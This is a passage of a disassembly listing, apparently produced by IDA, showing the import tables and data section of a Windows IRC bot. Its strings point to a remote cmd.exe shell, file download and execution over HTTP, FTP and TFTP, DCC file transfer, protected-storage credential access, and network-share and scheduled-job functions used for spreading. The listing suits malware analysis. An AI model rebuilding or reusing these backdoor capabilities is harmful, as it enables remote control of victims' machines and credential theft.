dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr
dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r
dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r
dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr
dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r
dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r
dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr
dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r
dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r
dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r
dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r
dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr
dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r
dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r
dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar
dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r
dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er
dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r
dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r
dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr
dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r
dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r
dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r
align 8
dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r
align 10h
dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr
; sub_402A32+79Br ...
align 8
dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r
dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr
dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r
; sub_408F2E+1D1r ...
dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r
; sub_415B60+84r
dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br
dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr
; sub_40D74D+7Er
dd 0
dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r
; sub_4050EA+106r ...
dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r
dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er
; sub_4048EF+39Fr
dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r
; sub_412A3A+178r ...
dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r
; sub_4055E5+7Br ...
dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r
; sub_411DC5+DFr ...
dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr
; sub_40A9CF+1A74r
dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r
; sub_4045B2+21r
dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr
; sub_40447B+10r
dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar
; sub_4046BC+CEr ...
dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r
; sub_40732D+1A8r ...
dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r
; sub_4038BA+171r ...
dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r
; sub_4038BA+186r ...
dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr
dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r
; sub_404E1C+E0r ...
dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r
; sub_40A9CF+1A80r ...
dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r
; sub_403588+4Ar ...
dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr
; sub_403588+1FEr ...
dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r
; sub_4055E5+F3r ...
dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r
; sub_40449C+21r ...
dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr
; sub_4055E5+DDr ...
dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r
; sub_4053DC+27r ...
dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r
; sub_4020C2+201r
dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r
; sub_411DC5+372r ...
dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr
; sub_407148+183r ...
dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r
dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r
dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r
dword_417264 dd 71AB41DAh ; DATA XREF: sub_4167F1+201r
dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr
align 10h
flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r
; sub_401E38+22Fr ...
flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r
dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o
dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o
dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: sub_4167F1+5o
dd offset loc_416AC5, offset loc_416ADB, offset dword_4172F0
off_4172B4 dd offset sub_416F05, offset dword_417338, offset sub_416F86
; DATA XREF: sub_416ED3+12o
; .text:00416F3Ao ...
dd offset dword_41DDE0, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4172B4+0Ch
dd 3 dup(0)
dd 1, 4172D8h
dword_4172F0 dd 3 dup(0) ; DATA XREF: .rdata:004172A8o
dd 41DDE0h, 4172E0h, 0
off_417308 dd offset aRa, 2 dup(0) ; DATA XREF: .rdata:00417320o
; "¼rA"
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_417308
align 10h
dd 1, 417320h
dword_417338 dd 3 dup(0) ; DATA XREF: .rdata:off_4172B4o
dd 41DE00h, 417328h, 0
dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: .text:loc_416FDDo
dd 0FFFFFFFFh, 416FB0h, 0
dd 416FBCh, 1, 416FC5h, 2, 416FD1h, 0
dd offset dword_41DDE0, 0
dd 0FFFFFFFFh, 0
dd 10h, 416F21h, 0
dword_4173B0 dd 1, 417390h ; DATA XREF: .rdata:004173C4o
dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o
dd offset sub_416F4E, 0
dd offset dword_4173B0
dd 1757Ch, 2 dup(0)
dd 17876h, 17114h, 1765Ch, 2 dup(0)
dd 1788Eh, 171F4h, 17498h, 2 dup(0)
dd 17C70h, 17030h, 17640h, 2 dup(0)
dd 17CE6h, 171D8h, 17468h, 2 dup(0)
dd 17DBAh, 17000h, 17638h, 2 dup(0)
dd 17DD8h, 171D0h, 17630h, 2 dup(0)
dd 17E3Eh, 171C8h, 0A1h dup(0)
dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h
dd 636F6C6Ch, 25E0000h, 65657266h, 2970000h, 636D656Dh
dd 7970h, 747302C1h, 70636E72h, 2B20079h, 69727073h, 66746Eh
dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h
dd 63727473h, 7461h, 74660264h, 6C6C65h, 77660266h, 65746972h
dd 24C0000h, 6F6C6366h, 6573h, 6F660257h, 6E6570h, 7266025Dh
dd 646165h, 73660262h, 6B6565h, 7461023Dh, 696Fh, 737302B5h
dd 666E6163h, 2C50000h, 73727473h, 7274h, 735F01AEh, 6972706Eh
dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h
dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h
dd 6C69h, 655F00CAh, 70656378h, 61685F74h, 656C646Eh, 3372h
dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h
dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h
dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h
dd 29E0000h, 6E697270h, 6674h, 747302B8h, 706D6372h, 2D30000h
dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h
dd 6E73765Fh, 6E697270h, 6674h, 725F019Bh, 6C746Fh, 725F019Ch
dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h
a__cxxframehand db '__CxxFrameHandler',0
aMsvcrt_dll db 'MSVCRT.dll',0
align 2
db '(',0
aWsaioctl db 'WSAIoctl',0
align 2
aWs2_32_dll_0 db 'WS2_32.dll',0
align 2
db '|',0
aDeletefilea db 'DeleteFileA',0
db 0Eh
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
a_ db '.',0
aClosehandle db 'CloseHandle',0
db 51h ; Q
db 3, 54h, 65h
aRminateprocess db 'rminateProcess',0
align 10h
db 49h ; I
db 3, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0AEh ; ®
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h
aGetmodulefil_0 db 'GetModuleFileNameA',0
align 10h
db 77h ; w
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 4
db 3Bh ; ;
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 2ABh
aReadfile db 'ReadFile',0
align 2
dw 152h
aGetexitcodepro db 'GetExitCodeProcess',0
align 4
db 87h ; ‡
db 2, 50h, 65h
aEknamedpipe db 'ekNamedPipe',0
db '`',0
aCreateprocessa db 'CreateProcessA',0
align 2
aM db 'Œ',0
aDuplicatehandl db 'DuplicateHandle',0
db 3Ah ; :
db 1, 47h, 65h
aTcurrentproc_0 db 'tCurrentProcess',0
a__0 db '_',0
aCreatepipe db 'CreatePipe',0
align 2
dw 2D0h
aSearchpatha db 'SearchPathA',0
db 97h ; —
db 3, 57h, 72h
aItefile db 'iteFile',0
db 69h ; i
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
db '=',0
aCopyfilea db 'CopyFileA',0
aP db '¯',0
aExitprocess db 'ExitProcess',0
dw 198h
aGetprocaddress db 'GetProcAddress',0
align 4
db 48h ; H
db 2, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
align 4
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 314h
aSetfiletime db 'SetFileTime',0
db 5Dh ; ]
db 1, 47h, 65h
aTfiletime db 'tFileTime',0
aM_0 db 'M',0
aCreatefilea db 'CreateFileA',0
db 0E9h ; é
db 1, 47h, 65h
aTwindowsdirect db 'tWindowsDirectoryA',0
align 10h
db 0BFh ; ¿
db 3, 6Ch, 73h
aTrlena db 'trlenA',0
align 4
db 0FFh
db 2, 53h, 65h
aTcurrentdirect db 'tCurrentDirectoryA',0
align 4
dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
db 46h ; F
db 1, 47h, 65h
aTdiskfreespace db 'tDiskFreeSpaceExA',0
dw 14Bh
aGetdrivetypea db 'GetDriveTypeA',0
dw 1D5h
aGettickcount db 'GetTickCount',0
align 2
dw 29Ah
aQueryperforman db 'QueryPerformanceFrequency',0
dw 299h
aQueryperform_0 db 'QueryPerformanceCounter',0
dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
dd 54657461h, 61657268h, 2190064h
aInitializecr_0 db 'InitializeCriticalSection',0
aP_0 db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 247h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aI db 'i',0
aCreatethread db 'CreateThread',0
align 2
dw 365h
aUnmapviewoffil db 'UnmapViewOfFile',0
db 5Eh ; ^
db 2, 4Dh, 61h
aPviewoffile db 'pViewOfFile',0
aN db 'N',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 3B3h
aLstrcmpa db 'lstrcmpA',0
align 2
dw 150h
aGetenvironment db 'GetEnvironmentVariableA',0
db 0BCh ; ¼
db 3, 6Ch, 73h
aTrcpyna db 'trcpynA',0
db 0B9h ; ¹
db 3, 6Ch, 73h
aTrcpya db 'trcpyA',0
align 10h
aZ db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 10h
db 0Ah
db 3, 53h, 65h
aTerrormode db 'tErrorMode',0
align 10h
aKernel32_dll_0 db 'KERNEL32.dll',0
align 2
dw 2D5h
aWsprintfa db 'wsprintfA',0
dw 177h
aGetwindowtexta db 'GetWindowTextA',0
align 4
db 17h
db 1, 47h, 65h
aTforegroundwin db 'tForegroundWindow',0
aU_0 db 'ã',0
aFindwindowa db 'FindWindowA',0
db 3Ah ; :
db 2, 53h, 65h
aNdmessagea db 'ndMessageA',0
align 10h
db 97h ; —
db 1, 49h, 73h
aCharalphanumer db 'CharAlphaNumericA',0
aUser32_dll db 'USER32.dll',0
align 2
dw 1C9h
aRegclosekey db 'RegCloseKey',0
dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h
dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h
dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h
dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h
dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h
aCryptreleaseco db 'CryptReleaseContext',0
aC db '–',0
aCryptgenrandom db 'CryptGenRandom',0
align 2
aE db '…',0
aCryptacquireco db 'CryptAcquireContextA',0
align 2
aAdvapi32_dll db 'ADVAPI32.dll',0
align 4
db 7
db 1, 53h, 68h
aEllexecutea db 'ellExecuteA',0
aShell32_dll db 'SHELL32.dll',0
db 0BDh ; ½
db 1, 5Fh, 73h
aTrcmpi db 'trcmpi',0
align 10h
db 34h ; 4
db 1, 5Fh, 69h
db 74h ; t
db 6Fh, 61h, 0
db 0C5h ; Å
db 1, 5Fh, 73h
aTrnicmp db 'trnicmp',0
aA_1 db 'A',0
a_cxxthrowexcep db '_CxxThrowException',0
align 2
dw 0Eh
a??1type_info@@ db '??1type_info@@UAE@XZ',0
align 2
dw 252h
aLocalfree db 'LocalFree',0
aOleaut32_dll db 'OLEAUT32.dll',0
align 200h
_rdata ends
; Section 3. (virtual address 00018000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00008000 ( 32768.)
; Offset to raw data for section: 00018000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 418000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr
; sub_401000+2Er
dd offset dword_41805C
dd offset dword_418040
dd offset dword_418014
dd 0
dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch
; DATA XREF: .data:0041800Co
dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0)
dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h
; DATA XREF: .data:00418008o
dd 0BFD1h, 0
dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
; DATA XREF: .data:00418004o
dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0
dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
; DATA XREF: .data:off_418000o
dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
dd 0A68CCCA6h, 95h, 0
dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
; DATA XREF: sub_401244+52Do
dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
dd 2E0203h
dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
; DATA XREF: sub_401244+50Ao
dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
; DATA XREF: sub_401244+412o
dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh
; DATA XREF: sub_401244+45o
dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
dd 2037325h, 3Ah
dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
; DATA XREF: sub_4017AA+93o
dd 2343003h, 2037325h, 0
aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o
aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do
dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o
aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
align 4
asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo
; sub_403DF3+18Co ...
align 4
aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
align 4
aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o
; sub_402A32+794o ...
align 4
dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
; DATA XREF: sub_401E38+248o
dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h
dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h
; DATA XREF: sub_401E38+CCo
dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h
dd 20373h
dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o
; sub_402698:loc_40288Eo ...
dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
; DATA XREF: sub_4020C2+3E1o
dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h
dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
dd 732F424Bh, 6365h
dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
; DATA XREF: sub_4020C2+313o
dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h
dd 6465h
dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh
; DATA XREF: sub_4020C2+28Eo
dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
; DATA XREF: sub_4020C2+20Fo
dd 1642520h, 0
aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
align 4
aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo
; sub_406AE7+63o ...
align 4
dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
; DATA XREF: sub_4024F3+101o
dd 206D6F72h, 2343003h, 2037325h, 0
dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
; DATA XREF: sub_40260D+72o
dd 2343003h, 2037325h, 0
aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
align 4
aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
align 4
asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o
db 0Dh,0Ah,0
align 4
aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
; sub_4088FC+E9o
db 'Host: %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h
; DATA XREF: sub_402A32+7F6o
dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
dd 2E020373h, 0
dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h
; DATA XREF: sub_402A32+7D1o
dd 61747320h, 3207472h, 25023430h, 2E020373h, 0
dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h
; DATA XREF: sub_402A32+738o
dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
dd 732F424Bh, 73256365h, 2Eh
dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o
dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aNoFileToDownlo db '- No file to download specified.',0
align 4
asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o
unicode 0, </>,0
asc_4184FC: ; DATA XREF: sub_402A32+45Fo
; sub_414EF4+644o ...
unicode 0, <:>,0
unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aUnsupportedPro db '- Unsupported protocol specified.',0
align 4
a69 db '69',0 ; DATA XREF: sub_402A32+3A8o
align 10h
aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o
aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao
; sub_402A32+36Do
align 4
a21 db '21',0 ; DATA XREF: sub_402A32+328o
align 4
aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o
align 10h
a80 db '80',0 ; DATA XREF: sub_402A32+2CEo
; sub_4043E9+27o ...
align 4
aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo
dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h
; DATA XREF: sub_402A32+135o
dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
dd 2E020373h, 0
dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h
; DATA XREF: sub_402A32+110o
dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
dd 20656C69h, 2343003h, 2037325h, 2Eh
dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o
dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh
; DATA XREF: sub_402A32+AAo
dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h
dd 2E020373h, 0
dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
; DATA XREF: sub_403260+B2o
dd 206F7420h, 2343003h, 2037325h, 0
dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o
; sub_412720+51o
aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
; sub_40332B:loc_403545o ...
align 4
aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o
; sub_40A9CF:loc_40BD52o
align 4
dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
db 'GS=%08X. Code: %08X (%s). %s...',0
align 4
aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao
align 4
aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o
align 4
aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co
align 4
aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
align 10h
aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
; DATA XREF: sub_40332B:loc_4033FAo
align 4
aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
align 4
aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
align 4
aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
align 4
aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
align 4
aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o
aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co
aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
align 10h
aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o
align 4
aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o
aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o
align 10h
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo
aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo
align 4
aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o
align 4
aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o
align 4
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
align 10h
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o
align 10h
aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh
; DATA XREF: sub_403DF3+6Eo
dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
dd 34300320h, 3732502h, 2
dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
; DATA XREF: sub_403FE5+7Eo
dd 30032074h, 73250234h, 203h
dword_418A18 dd 333131h ; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C dd 9EC09195h, 0D0A198ABh, 0B6B0BEADh, 8Fh, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30 dd 2E3031h ; DATA XREF: sub_4041B7+56o
dword_418A34 dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_4041B7+3Bo
dword_418A40 dd 2E323731h, 0 ; DATA XREF: sub_4041B7+20o
dword_418A48 dd 2E373231h, 0 ; DATA XREF: sub_4041B7+5o
dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_40D871+1CCo
; sub_41113B+45Ao
dword_418A5C dd 313A3Ah ; DATA XREF: sub_40435B+42o
dword_418A60 dd 7525h ; DATA XREF: sub_4055E5+458o
; sub_4055E5+69Eo ...
dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
; sub_4055E5+40Bo ...
aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
; sub_4055E5+3AFo ...
align 4
